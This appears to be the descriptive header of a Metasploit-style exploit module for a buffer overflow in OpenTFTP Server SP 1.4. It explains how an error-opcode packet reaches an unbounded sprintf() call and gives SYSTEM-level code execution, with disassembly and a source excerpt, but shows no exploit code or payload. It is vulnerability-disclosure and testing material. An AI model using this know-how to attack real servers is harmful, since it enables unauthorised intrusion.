This module exploits a buffer overflow in OpenTFTP Server SP 1.4. The vulnerable condition triggers when the TFTP opcode is configured as an error packet, the TFTP service will then format the message using a sprintf() function, which causes an overflow, therefore allowing remote code execution under the context of SYSTEM. The offset (to EIP) is specific to how the TFTP was started (as a ‘Stand Alone’, or ‘Service’). By default the target is set to ‘Service’ because that’s the default configuration during OpenTFTP Server SP 1.4’s installation.

NOTE: If the module is run on a OSX box, you will probably see this error:
[-] Exploit exception: Message too long
That's OSX for you.

The vulnerable condition triggers when the TFTP opcode "\x00\x05" gets parsed in a ntohs() call:
.text:004022F6  mov     eax, ds:dword_41B370
.text:004022FB  movzx   eax, word ptr [eax]
.text:004022FE  mov     [esp+5C8h+var_5C8], eax
.text:00402301  mov     [ebp+var_550], 0FFFFFFFFh
.text:0040230B  call    ntohs
.text:00402310  sub     esp, 4
.text:00402313  cmp     ax, 5
.text:00402317  jnz     short loc_40236F
...

When the value matches 0x05, we then head down to a sprinf() function to generate an error
message, which causes an overflow:
.text:00402330  mov   eax, ds:dword_41B370
.text:00402335  add   eax, 4
.text:00402338  mov   [esp+5C8h+var_5BC], eax
.text:0040233C  mov   [esp+5C8h+var_5C0], edx
.text:00402340  mov   [esp+5C8h+var_5C4], offset aErrorIAtClient ; "Error %i at Client, %s"
.text:00402348  mov   [esp+5C8h+var_5C8], offset byte_41B394
.text:0040234F  call  sprintf

And then we either corrupt a msvcrt.printf() or time() call (in logMess), which end up gaining
control.

In source:
http://pastebin.com/QgZDwcan

else if (ntohs(datain->opcode) == 5)  // Line 224
{
  sprintf(serverError.errormessage, "Error %i at Client, %s", ntohs(datain->block), &datain->buffer);
  logMess(req1, 1);
  ..... so on .....

You can also corrupt a SetServiceStatus() call with a smaller buffer, but obviously doesn't
give you a better crash than this one.
